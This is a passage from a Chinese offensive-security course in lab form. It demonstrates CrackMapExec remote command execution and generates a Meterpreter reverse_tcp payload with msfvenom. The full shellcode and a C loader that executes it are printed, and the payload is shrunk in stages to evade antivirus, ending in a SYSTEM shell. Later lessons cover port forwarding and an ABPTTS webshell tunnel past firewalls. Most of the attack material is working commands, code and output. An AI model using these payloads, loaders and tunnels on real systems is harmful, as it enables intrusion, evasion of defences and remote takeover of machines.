SMB192.168.1.119445WIN03X64BackupOperatorsmembercount:0 11. SMB192.168.1.119445WIN03X64DistributedCOMUsersmembercount:0 12. SMB192.168.1.119445WIN03X64Guestsmembercount:2 13. SMB192.168.1.119445WIN03X64NetworkConfigurationOperatorsmembercount:0 14. SMB192.168.1.119445WIN03X64PerformanceLogUsersmembercount:1 15. SMB192.168.1.119445WIN03X64PerformanceMonitorUsersmembercount:0 16. SMB192.168.1.119445WIN03X64PowerUsersmembercount:0 17. SMB192.168.1.119445WIN03X64PrintOperatorsmembercount:0 18. SMB192.168.1.119445WIN03X64RemoteDesktopUsersmembercount:0 19. SMB192.168.1.119445WIN03X64Replicatormembercount:0 20. SMB192.168.1.119445WIN03X64Usersmembercount:3 第九十三课:与CrackMapExec结合攻击 -587- 本文档使用书栈(BookStack.CN)构建 分别支持4种执行Command,如无—exec-method执行,默认为wmiexec执行。 mmcexec smbexec wmiexec atexec 基于smbexec执行Command 1. root@John:~#cmesmb192.168.1.6‐uadministrator‐p'123456'‐‐exec‐method smbexec‐x'netuser' 2. SMB192.168.1.6445WIN‐5BMI9HGC42S[*]WindowsWebServer2008R2760 3. 0x64(name:WIN‐5BMI9HGC42S)(domain:WIN‐5BMI9HGC42S)(signing:False) (SMBv1:True) 4. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]WIN‐ 5. 5BMI9HGC42S\administrator:123456(Pwn3d!) 6. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]Executedcommandviasmbexec 7. SMB192.168.1.6445WIN‐5BMI9HGC42S\\ûʻ 8. SMB192.168.1.6445WIN‐5BMI9HGC42S 9. SMB192.168.1.6445WIN‐5BMI9HGC42S‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 10. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 11. SMB192.168.1.6445WIN‐5BMI9HGC42SAdministratorGuest 12. SMB192.168.1.6445WIN‐5BMI9HGC42Sϣһ 基于dcom执行Command 1. root\@John:\~\#cmesmb192.168.1.6‐uadministrator‐p'123456'‐‐exec‐method mmcexec‐x'whoami' 第九十三课:与CrackMapExec结合攻击 -588- 本文档使用书栈(BookStack.CN)构建 2. SMB192.168.1.6445WIN‐5BMI9HGC42S[*]WindowsWebServer2008R2760 3. 0x64(name:WIN‐5BMI9HGC42S)(domain:WIN‐5BMI9HGC42S)(signing:False) (SMBv1:True) 4. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]WIN‐ 5. 5BMI9HGC42S\administrator:123456(Pwn3d!) 6. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]Executedcommandviammcexec 7. SMB192.168.1.6445WIN‐5BMI9HGC42Swin‐5bmi9hgc42s\administrator 基于wmi执行Command 1. root@John:~#cmesmb192.168.1.6‐uadministrator‐p'123456'‐‐exec‐method wmiexec‐x'whoami' 2. SMB192.168.1.6445WIN‐5BMI9HGC42S[*]WindowsWebServer2008R2760 3. 0x64(name:WIN‐5BMI9HGC42S)(domain:WIN‐5BMI9HGC42S)(signing:False) (SMBv1:True) 4. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]WIN‐ 5. 5BMI9HGC42S\\administrator:123456(Pwn3d!) 6. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]Executedcommandviawmiexec 7. SMB192.168.1.6445WIN‐5BMI9HGC42Swin‐5bmi9hgc42s\administrator 基于AT执行Command 目标机:无运行calc进程 1. root@John:~#cmesmb192.168.1.6‐uadministrator‐p'123456'‐‐exec‐method atexec‐x'calc' 2. SMB192.168.1.6445WIN‐5BMI9HGC42S[*]WindowsWebServer2008R2760 3. 0x64(name:WIN‐5BMI9HGC42S)(domain:WIN‐5BMI9HGC42S)(signing:False) (SMBv1:True) 4. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]WIN‐ 5. 5BMI9HGC42S\administrator:123456(Pwn3d!) 第九十三课:与CrackMapExec结合攻击 -589- 本文档使用书栈(BookStack.CN)构建 6. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]Executedcommandviaatexec 默认采取wmiexec执行Command,参数为-x 1. root@John:~#cmesmb192.168.1.6‐uadministrator‐p'123456'‐x'whoami' 2. SMB192.168.1.6445WIN‐5BMI9HGC42S[*]WindowsWebServer2008R2760 3. 0x64(name:WIN‐5BMI9HGC42S)(domain:WIN‐5BMI9HGC42S)(signing:False) (SMBv1:True) 4. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]WIN‐ 5. 5BMI9HGC42S\administrator:123456(Pwn3d!) 6. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]Executedcommand 7. SMB192.168.1.6445WIN‐5BMI9HGC42Swin‐5bmi9hgc42s\administrator 枚举目标机disk 1. root@John:~#cmesmb192.168.1.6‐uadministrator‐p'123456'‐‐disks 2. SMB192.168.1.6445WIN‐5BMI9HGC42S[*]WindowsWebServer2008R2760 3. 0x64(name:WIN‐5BMI9HGC42S)(domain:WIN‐5BMI9HGC42S)(signing:False) (SMBv1:True) 4. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]WIN‐ 5. 5BMI9HGC42S\\administrator:123456(Pwn3d!) 6. SMB192.168.1.6445WIN‐5BMI9HGC42S[+]Enumerateddisks 7. SMB192.168.1.6445WIN‐5BMI9HGC42SC: 8. SMB192.168.1.6445WIN‐5BMI9HGC42SD: 9. SMB192.168.1.6445WIN‐5BMI9HGC42SE: 解决出现:STATUS_PIPE_DISCONNECTED 附录: 第九十三课:与CrackMapExec结合攻击 -590- 本文档使用书栈(BookStack.CN)构建 改成经典 解决出现错误:UnicodeDecodeError: 升级impacket Micropoor 第九十三课:与CrackMapExec结合攻击 -591- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.5Debian 靶机: 192.168.1.4Windows7 192.168.1.119Windows2003 payload:windows/meterpreter/reverse_tcp 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 13. 14. LHOST192.168.1.5yesThelistenaddress(aninterfacemaybespecified) 15. 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 21. ‐‐‐‐‐‐ 22. 0WildcardTarget 23. 24. msfexploit(multi/handler)>exploit 25. 26. [*]StartedreverseTCPhandleron192.168.1.5:53 攻击机配置: 第九十四课:基于实战中的smallpayload -592- 本文档使用书栈(BookStack.CN)构建 1. root@John:/tmp#msfvenom‐pwindows/meterpreter/reverse_tcpLHOST=192.168.1.5 LPORT=53‐b'\x00'‐fexe>First.exe 原始payload大小如下: 73802字节,大概在72KB 1. root@John:/tmp#du‐sbFirst.exe 2. 73802First.exe 提取windows/meterpreter/reverse_tcpshellcode 1. root@John:/tmp#msfvenom‐pwindows/meterpreter/reverse_tcpLHOST=192.168.1.5 LPORT=53‐b'\x00'‐fc 2. [‐]Noplatformwasselected,choosingMsf::Module::Platform::Windowsfromthe payload 3. [‐]Noarchselected,selectingarch:x86fromthepayload 4. Found11compatibleencoders 5. Attemptingtoencodepayloadwith1iterationsofx86/shikata_ga_nai 6. x86/shikata_ga_naisucceededwithsize368(iteration=0) 7. x86/shikata_ga_naichosenwithfinalsize368 payload生成: 第一次优化payload: 第九十四课:基于实战中的smallpayload -593- 本文档使用书栈(BookStack.CN)构建 8. Payloadsize:368bytes 9. Finalsizeofcfile:1571bytes 10. unsignedcharbuf[]= 11. "\\xd9\\xc3\\xba\\xa1\\x43\\xe5\\x72\\xd9\\x74\\x24\\xf4\\x5d\\x29\\xc9\\xb1" 12. "\\x56\\x31\\x55\\x18\\x03\\x55\\x18\\x83\\xc5\\xa5\\xa1\\x10\\x8e\\x4d\\xa7" 13. "\\xdb\\x6f\\x8d\\xc8\\x52\\x8a\\xbc\\xc8\\x01\\xde\\xee\\xf8\\x42\\xb2\\x02" 14. "\\x72\\x06\\x27\\x91\\xf6\\x8f\\x48\\x12\\xbc\\xe9\\x67\\xa3\\xed\\xca\\xe6" 15. "\\x27\\xec\\x1e\\xc9\\x16\\x3f\\x53\\x08\\x5f\\x22\\x9e\\x58\\x08\\x28\\x0d" 16. "\\x4d\\x3d\\x64\\x8e\\xe6\\x0d\\x68\\x96\\x1b\\xc5\\x8b\\xb7\\x8d\\x5e\\xd2" 17. "\\x17\\x2f\\xb3\\x6e\\x1e\\x37\\xd0\\x4b\\xe8\\xcc\\x22\\x27\\xeb\\x04\\x7b" 18. "\\xc8\\x40\\x69\\xb4\\x3b\\x98\\xad\\x72\\xa4\\xef\\xc7\\x81\\x59\\xe8\\x13" 19. "\\xf8\\x85\\x7d\\x80\\x5a\\x4d\\x25\\x6c\\x5b\\x82\\xb0\\xe7\\x57\\x6f\\xb6" 20. "\\xa0\\x7b\\x6e\\x1b\\xdb\\x87\\xfb\\x9a\\x0c\\x0e\\xbf\\xb8\\x88\\x4b\\x1b" 21. "\\xa0\\x89\\x31\\xca\\xdd\\xca\\x9a\\xb3\\x7b\\x80\\x36\\xa7\\xf1\\xcb\\x5e" 22. "\\x04\\x38\\xf4\\x9e\\x02\\x4b\\x87\\xac\\x8d\\xe7\\x0f\\x9c\\x46\\x2e\\xd7" 23. "\\x95\\x41\\xd1\\x07\\x1d\\x01\\x2f\\xa8\\x5d\\x0b\\xf4\\xfc\\x0d\\x23\\xdd" 24. "\\x7c\\xc6\\xb3\\xe2\\xa8\\x72\\xbe\\x74\\x93\\x2a\\xbf\\x81\\x7b\\x28\\xc0" 25. "\\x89\\x4e\\xa5\\x26\\xd9\\xe0\\xe5\\xf6\\x9a\\x50\\x45\\xa7\\x72\\xbb\\x4a" 26. "\\x98\\x63\\xc4\\x81\\xb1\\x0e\\x2b\\x7f\\xe9\\xa6\\xd2\\xda\\x61\\x56\\x1a" 27. "\\xf1\\x0f\\x58\\x90\\xf3\\xf0\\x17\\x51\\x76\\xe3\\x40\\x06\\x78\\xfb\\x90" 28. "\\xa3\\x78\\x91\\x94\\x65\\x2f\\x0d\\x97\\x50\\x07\\x92\\x68\\xb7\\x14\\xd5" 29. "\\x97\\x46\\x2c\\xad\\xae\\xdc\\x10\\xd9\\xce\\x30\\x90\\x19\\x99\\x5a\\x90" 30. "\\x71\\x7d\\x3f\\xc3\\x64\\x82\\xea\\x70\\x35\\x17\\x15\\x20\\xe9\\xb0\\x7d" 31. "\\xce\\xd4\\xf7\\x21\\x31\\x33\\x84\\x26\\xcd\\xc1\\xa3\\x8e\\xa5\\x39\\xf4" 32. "\\x2e\\x35\\x50\\xf4\\x7e\\x5d\\xaf\\xdb\\x71\\xad\\x50\\xf6\\xd9\\xa5\\xdb" 33. "\\x97\\xa8\\x54\\xdb\\xbd\\x6d\\xc8\\xdc\\x32\\xb6\\xfb\\xa7\\x3b\\x49\\xfc" 34. "\\x57\\x52\\x2e\\xfd\\x57\\x5a\\x50\\xc2\\x81\\x63\\x26\\x05\\x12\\xd0\\x39" 35. "\\x30\\x37\\x71\\xd0\\x3a\\x6b\\x81\\xf1"; 第九十四课:基于实战中的smallpayload -594- 本文档使用书栈(BookStack.CN)构建 建立Micropoor_small_payload工程,配置如下: 第九十四课:基于实战中的smallpayload -595- 本文档使用书栈(BookStack.CN)构建 1. #include<windows.h> 2. intmain(void) 3. { 4. char*shellcode=(char*)"Micropoor_shellcode"; 5. 6. DWORDMicropoor_shellcode; 7. BOOLret=VirtualProtect(shellcode,strlen(shellcode), 8. PAGE_EXECUTE_READWRITE,&Micropoor_shellcode); 9. if(!ret){ 10. returnEXIT_FAILURE; 11. } 12. ((void(*)(void))shellcode)(); 13. returnEXIT_SUCCESS; 14. } 原始shellcode_payload大小如下: 75776字节 源码如下: 第九十四课:基于实战中的smallpayload -596- 本文档使用书栈(BookStack.CN)构建 优化: 在优化的过程中,需要确保 性能 稳定性 大小 可塑性 免杀性 非算法,故优化/01 无使用预编译头,故否 第九十四课:基于实战中的smallpayload -597- 本文档使用书栈(BookStack.CN)构建 无需调试信息,故否 自定义入口点:execMicropoor_shellcode 再次编译: 第九十四课:基于实战中的smallpayload -598- 本文档使用书栈(BookStack.CN)构建 payload大小如下: 4608字节 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.5:53 4. [*]Sendingstage(179779bytes)to192.168.1.119 5. [*]Meterpretersession4opened(192.168.1.5:53‐>192.168.1.119:3887)at 2019‐01‐2714:30:27‐0500 6. 7. meterpreter>getuid 8. Serverusername:WIN03X64\Administrator 9. meterpreter> 载入PEID 第一次靶机测试:分别测试Windows2003,Windws7,reverse OK。 第二次优化payload: 第九十四课:基于实战中的smallpayload -599- 本文档使用书栈(BookStack.CN)构建 合并datatotext,rdatatotext在次生成。 Section变化如下: 第九十四课:基于实战中的smallpayload -600- 本文档使用书栈(BookStack.CN)构建 payload大小如下: 4096字节 第二次靶机测试:分别测试Windows2003,Windws7,reverseOK。 第九十四课:基于实战中的smallpayload -601- 本文档使用书栈(BookStack.CN)构建 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.5:53 4. [*]Sendingstage(179779bytes)to192.168.1.119 5. [*]Meterpretersession9opened(192.168.1.5:53‐>192.168.1.119:3891)at 2019‐01‐2714:46:20‐0500 6. 7. meterpreter>getuid 8. Serverusername:WIN03X64\Administrator 9. meterpreter>getpid 10. Currentpid:1232 在00000E60起含有大部分000h,充填掉00,在次生成payload。 1. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 2. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 3. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 4. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 5. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 6. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 7. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 8. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 9. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 10. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 11. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 12. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 13. 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 14. .... 第三次优化payload: 第九十四课:基于实战中的smallpayload -602- 本文档使用书栈(BookStack.CN)构建 payload大小如下: 3174字节 第三次靶机测试:分别测试Windows2003,Windws7,reverseOK。并且最终编译运行库依然 为:/MT 第九十四课:基于实战中的smallpayload -603- 本文档使用书栈(BookStack.CN)构建 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.5:53 4. [*]Sendingstage(179779bytes)to192.168.1.119 5. [*]Meterpretersession11opened(192.168.1.5:53‐>192.168.1.119:3894)at 2019‐01‐2714:56:30‐05006 6. meterpreter>getuid 7. Serverusername:WIN03X64\Administrator 8. meterpreter>getpid 9. Currentpid:3152 10. meterpreter>getsystem 11. ...gotsystemviatechnique1(NamedPipeImpersonation(InMemory/Admin)). 12. meterpreter>getuid 13. Serverusername:NTAUTHORITY\SYSTEM ……. 文中的前三次优化,三次生成,已满足大部分实战场景。当遇到更苛刻的实战场景,75776字节优化到 第四次优化payload: 第九十四课:基于实战中的smallpayload -604- 本文档使用书栈(BookStack.CN)构建 3174字节,接下来的季中,会继续优化。 Micropoor 第九十四课:基于实战中的smallpayload -605- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4—IPV6的转换转发。并且内置于 meterpreter。其中exe单版本源码如下: https://github.com/rssnsj/portfwd 攻击机: 192.168.1.5Debian 靶机: 192.168.1.4Windows7 192.168.1.119Windows2003 1. msfexploit(multi/handler)\>sessions‐l 2. 3. Activesessions 4. =============== 5. 6. IdNameTypeInformationConnection 7. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 8. 1meterpreterx86/windowsWIN03X64\Administrator@WIN03X64192.168.1.5:45303‐ >192.168.1.119:53(192.168.1.119) 9. 10. msfexploit(multi/handler)>sessions‐i1‐c'ipconfig' 11. [*]Running'ipconfig'onmeterpretersession1(192.168.1.119) 12. 13. WindowsIPConfiguration 14. 15. Ethernetadapter本地连接: 16. 17. Connection‐specificDNSSuffix.: 18. 19. IPAddress............:192.168.1.119 20. SubnetMask...........:255.255.255.0 21. DefaultGateway.........:192.168.1.122 第九十五课:基于Portfwd端口转发 -606- 本文档使用书栈(BookStack.CN)构建 靶机IP为: 192.168.1.119—-windows2003—-x64 需要转发端口为:80,3389 1. msfexploit(multi/handler)>sessions‐i1 2. [*]Startinginteractionwith1... 3. 4. meterpreter>shell 5. Process4012created. 6. Channel56created. 7. MicrosoftWindows[版本5.2.3790] 8. (C)版权所有1985‐2003MicrosoftCorp. 9. 10. C:\DocumentsandSettings\Administrator\桌面>ifdefinedPSModulePath(echook!) else(echosorry!) 11. ifdefinedPSModulePath(echook!)else(echosorry!) 12. sorry! 13. 14. C:\DocumentsandSettings\Administrator\桌面>netconfigWorkstation 15. netconfigWorkstation 16. 计算机名\\WIN03X64 17. 计算机全名win03x64 18. 用户名Administrator 19. 20. 工作站正运行于 21. NetbiosSmb(000000000000) 22. NetBT_Tcpip_{37C12280‐A19D‐4D1A‐9365‐6CBF2CAE5B07}(000C2985D67D) 23. 24. 软件版本MicrosoftWindowsServer2003 25. 第九十五课:基于Portfwd端口转发 -607- 本文档使用书栈(BookStack.CN)构建 26. 工作站域WORKGROUP 27. 登录域WIN03X64 28. 29. COM打开超时(秒)0 30. COM发送计数(字节)16 31. COM发送超时(毫秒)250 32. 命令成功完成。 33. 34. C:\DocumentsandSettings\Administrator\桌面>netstat‐an|findstr"LISTENING" 35. netstat‐an|findstr"LISTENING" 36. TCP0.0.0.0:800.0.0.0:0LISTENING 37. TCP0.0.0.0:1350.0.0.0:0LISTENING 38. TCP0.0.0.0:4450.0.0.0:0LISTENING 39. TCP0.0.0.0:10250.0.0.0:0LISTENING 40. TCP0.0.0.0:10260.0.0.0:0LISTENING 41. TCP0.0.0.0:30780.0.0.0:0LISTENING 42. TCP0.0.0.0:33890.0.0.0:0LISTENING 43. TCP0.0.0.0:90010.0.0.0:0LISTENING 44. TCP127.0.0.1:29950.0.0.0:0LISTENING 45. TCP127.0.0.1:90000.0.0.0:0LISTENING 46. TCP127.0.0.1:99990.0.0.0:0LISTENING 47. TCP192.168.1.119:1390.0.0.0:0LISTENING 第九十五课:基于Portfwd端口转发 -608- 本文档使用书栈(BookStack.CN)构建 1. meterpreter>portfwd‐h 2. Usage:portfwd[‐h][add|delete|list|flush][args] 3. 4. OPTIONS: 5. ‐L<opt>Forward:localhosttolistenon(optional).Reverse:localhostto connectto. 6. ‐RIndicatesareverseportforward. 7. ‐hHelpbanner. 8. ‐i<opt>Indexoftheportforwardentrytointeractwith(seethe"list" command). 第九十五课:基于Portfwd端口转发 -609- 本文档使用书栈(BookStack.CN)构建 9. ‐l<opt>Forward:localporttolistenon.Reverse:localporttoconnectto. 10. ‐p<opt>Forward:remoteporttoconnectto.Reverse:remoteporttolistenon. 11. ‐r<opt>Forward:remotehosttoconnectto. 攻击机执行: 1. meterpreter>portfwdadd‐l33389‐r192.168.1.119‐p3389 2. [*]LocalTCPrelaycreated::33389<‐>192.168.1.119:3389 3. meterpreter>portfwdadd‐l30080‐r192.168.1.119‐p80 4. [*]LocalTCPrelaycreated::30080<‐>192.168.1.119:80 5. meterpreter>portfwd 6. 7. ActivePortForwards 8. ==================== 9. IndexLocalRemoteDirection 10. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 11. 10.0.0.0:33389192.168.1.119:3389Forward 12. 20.0.0.0:30080192.168.1.119:80Forward 13. 14. 2totalactiveportforwards. 第九十五课:基于Portfwd端口转发 -610- 本文档使用书栈(BookStack.CN)构建 查看攻击机LISTEN端口:转发已成功 1. root@John:~#netstat‐ntlp|grep:3 2. tcp000.0.0.0:333890.0.0.0:*LISTEN2319/ruby 3. tcp000.0.0.0:300800.0.0.0:*LISTEN2319/ruby4 Windows7分别访问攻击机33389,30080,既等价访问靶机3389,80 第九十五课:基于Portfwd端口转发 -611- 本文档使用书栈(BookStack.CN)构建 第九十五课:基于Portfwd端口转发 -612- 本文档使用书栈(BookStack.CN)构建 Micropoor 第九十五课:基于Portfwd端口转发 -613- 本文档使用书栈(BookStack.CN)构建 ABPTTS是NCCGroup在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发,在 目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与 连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是, abptts是全加密。 2016年blackhat介绍: https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun Github: https://github.com/nccgroup/ABPTTS 安装与生成payload: 1. root@John:~#gitclonehttps://github.com/nccgroup/ABPTTS.git 2. Cloninginto'ABPTTS'... 3. remote:Enumeratingobjects:50,done. 4. remote:Total50(delta0),reused0(delta0),pack‐reused50 5. Unpackingobjects:100%(50/50),done. 6. root@John:~#pipinstallpycrypto 7. Requirementalreadysatisfied:pycryptoin/usr/lib/python2.7/dist‐packages (2.6.1) 8. root@John:~#cdABPTTS/ 9. root@John:~/ABPTTS#ls 10. abpttsclient.pyabpttsfactory.pyABPTTS‐Manual.pdfdatalibabptts.py license.txtREADME.mdsettings_overlaystemplate 11. root@John:~/ABPTTS#pythonabpttsfactory.py‐owebshell 12. [2019‐01‐2808:24:28.131919]‐‐‐===[[[ABlackPathTowardTheSun]]]===‐‐‐ 13. [2019‐01‐2808:24:28.131954]‐‐==[[‐Factory‐]]==‐‐ 14. [2019‐01‐2808:24:28.131965]BenLincoln,NCCGroup 15. [2019‐01‐2808:24:28.131979]Version1.0‐2016‐07‐30 16. [2019‐01‐2808:24:28.132706]Outputfileswillbecreatedin "/root/ABPTTS/webshell" 17. [2019‐01‐2808:24:28.132722]Client‐sideconfigurationfilewillbewrittenas "/root/ABPTTS/webshell/config.txt" 18. [2019‐01‐2808:24:28.132739]Using"/root/ABPTTS/data/american‐english‐ lowercase‐4‐64.txt"asawordlistfile 19. [2019‐01‐2808:24:28.136713]Createdclientconfigurationfile "/root/ABPTTS/webshell/config.txt" 20. [2019‐01‐2808:24:28.137760]Createdserverfile "/root/ABPTTS/webshell/abptts.jsp" ABPTTS简介: 第九十六课:HTTP隧道ABPTTS第一季 -614- 本文档使用书栈(BookStack.CN)构建 21. [2019‐01‐2808:24:28.138342]Createdserverfile "/root/ABPTTS/webshell/abptts.aspx" 22. [2019‐01‐2808:24:28.138492]Createdserverfile "/root/ABPTTS/webshell/war/WEB‐INF/web.xml" 23. [2019‐01‐2808:24:28.138555]Createdserverfile "/root/ABPTTS/webshell/war/META‐INF/MANIFEST.MF" 24. [2019‐01‐2808:24:28.139128]PrebuiltJSPWARfile: /root/ABPTTS/webshell/scabGroup.war 25. [2019‐01‐2808:24:28.139140]UnpackedWARfile contents:/root/ABPTTS/webshell/war 以aspx为demo。 靶机执行: 攻击机执行: 第九十六课:HTTP隧道ABPTTS第一季 -615- 本文档使用书栈(BookStack.CN)构建 注:如果攻击机为vps,则-f需要填写vps_ip:port/目标机:port 1. pythonabpttsclient.py‐cwebshell/config.txt‐u "http://192.168.1.119/abptts.aspx"‐f192.168.1.5:33389/192.168.1.119:3389 1. root@John:~/ABPTTS#pythonabpttsclient.py‐cwebshell/config.txt‐u "http://192.168.1.119/abptts.aspx"‐f192.168.1.5:33389/192.168.1.119:3389 2. [2019‐01‐2808:33:25.749115]‐‐‐===[[[ABlackPathTowardTheSun]]]===‐‐‐ 3. [2019‐01‐2808:33:25.749153]‐‐==[[‐Client‐]]==‐‐ 4. [2019‐01‐2808:33:25.749160]BenLincoln,NCCGroup 5. [2019‐01‐2808:33:25.749169]Version1.0‐2016‐07‐30 6. [2019‐01‐2808:33:25.750372]Listenerreadytoforwardconnectionsfrom 192.168.1.5:33389to192.168.1.119:3389viahttp://192.168.1.119/abptts.aspx 7. [2019‐01‐2808:33:25.750392]Waitingforclientconnectionto192.168.1.5:33389 8. [2019‐01‐2808:33:28.560180]Clientconnectedto192.168.1.5:33389 9. [2019‐01‐2808:33:28.560365]Waitingforclientconnectionto192.168.1.5:33389 10. [2019‐01‐2808:33:28.560655]Connectingto192.168.1.119:3389via http://192.168.1.119/abptts.aspx 11. [2019‐01‐2808:33:28.868187]Serversetcookie ASP.NET_SessionId=boyfcepcijf43s0dhaz5of05;path=/;HttpOnly 12. [2019‐01‐2808:33:28.868269][(S2C)192.168.1.119:3389‐>192.168.1.5:33389‐> 192.168.1.3:8861(ConnectionID:CEA116F4AF1FAF8C)]Servercreatedconnection IDCEA116F4AF1FAF8C 13. [2019‐01‐2808:33:29.077903]Connection‐levelexception:[Errno104]Connection resetbypeerinthreadfortunnel(192.168.1.3:8861‐>192.168.1.5:33389‐> 192.168.1.119:3389) 14. [2019‐01‐2808:33:29.077967]Disengagingtunnel(192.168.1.3:8861‐> 192.168.1.5:33389‐>192.168.1.119:3389) 15. [2019‐01‐2808:33:29.077987]Closingclientsocket(192.168.1.3:8861‐> 192.168.1.5:33389) 16. [2019‐01‐2808:33:29.078049]Exceptionwhileclosingclientsocket (192.168.1.3:8861‐>192.168.1.5:33389):[Errno107]Transportendpointisnot connected 17. [2019‐01‐2808:33:29.085280]ServerclosedconnectionIDCEA116F4AF1FAF8C 18. [2019‐01‐2808:33:36.957446]Clientconnectedto192.168.1.5:33389 19. [2019‐01‐2808:33:36.957601]Waitingforclientconnectionto192.168.1.5:33389 20. [2019‐01‐2808:33:36.957797]Connectingto192.168.1.119:3389via http://192.168.1.119/abptts.aspx 21. [2019‐01‐2808:33:36.966507]Serversetcookie ASP.NET_SessionId=bsynuc3l5ndo5h0n0bhtrv5p;path=/;HttpOnly 22. [2019‐01‐2808:33:36.966587][(S2C)192.168.1.119:3389‐>192.168.1.5:33389‐> 192.168.1.3:8862(ConnectionID:AA0FE7F073A5EFFD)]Servercreatedconnection 第九十六课:HTTP隧道ABPTTS第一季 -616- 本文档使用书栈(BookStack.CN)构建 IDAA0FE7F073A5EFFD 23. [2019‐01‐2808:33:45.321612][(C2S)192.168.1.3:8862‐>192.168.1.5:33389‐> 192.168.1.119:3389(ConnectionID:AA0FE7F073A5EFFD)]:25805bytessentsince lastreport 24. [2019‐01‐2808:33:45.321700][(S2C)192.168.1.119:3389‐>192.168.1.5:33389‐> 192.168.1.3:8862(ConnectionID:AA0FE7F073A5EFFD)]12344bytessentsincelast report 25. [2019‐01‐2808:33:48.482758][(C2S)192.168.1.3:8862‐>192.168.1.5:33389‐> 192.168.1.119:3389(ConnectionID:AA0FE7F073A5EFFD)]:715bytessentsince lastreport 26. [2019‐01‐2808:33:48.482838][(S2C)192.168.1.119:3389‐>192.168.1.5:33389‐> 192.168.1.3:8862(ConnectionID:AA0FE7F073A5EFFD)]2524bytessentsincelast report 27. [2019‐01‐2808:33:54.169354]Connection‐levelexception:[Errno104]Connection resetbypeerinthreadfortunnel(192.168.1.3:8862‐>192.168.1.5:33389‐> 192.168.1.119:3389) 28. [2019‐01‐2808:33:54.169432]Disengagingtunnel(192.168.1.3:8862‐> 192.168.1.5:33389‐>192.168.1.119:3389) 29. [2019‐01‐2808:33:54.169455]Closingclientsocket(192.168.1.3:8862‐> 192.168.1.5:33389) 30. [2019‐01‐2808:33:54.169529]Exceptionwhileclosingclientsocket (192.168.1.3:8862‐>192.168.1.5:33389):[Errno107]Transportendpointisnot connected 31. [2019‐01‐2808:33:54.178078]ServerclosedconnectionIDAA0FE7F073A5EFFD 第九十六课:HTTP隧道ABPTTS第一季 -617- 本文档使用书栈(BookStack.CN)构建 非常遗憾的是,目前不支持PHP。 Micropoor 第九十六课:HTTP隧道ABPTTS第一季 -618- 本文档使用书栈(BookStack.CN)构建 MSF的exploit模块下是支持setpayload的,同样在复杂的网络环境下,许多模块也同样支持自定 义的payload。可以更好的配合第三方框架,如第十一课中提到的Veil-Evasion等。 以exploit/windows/smb/psexec为demo。 攻击机配置如下: 1. msfexploit(windows/smb/psexec)>showoptions 2. 3. Moduleoptions(exploit/windows/smb/psexec): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. RHOST192.168.1.119yesThetargetaddress 8. RPORT445yesTheSMBserviceport(TCP) 9. 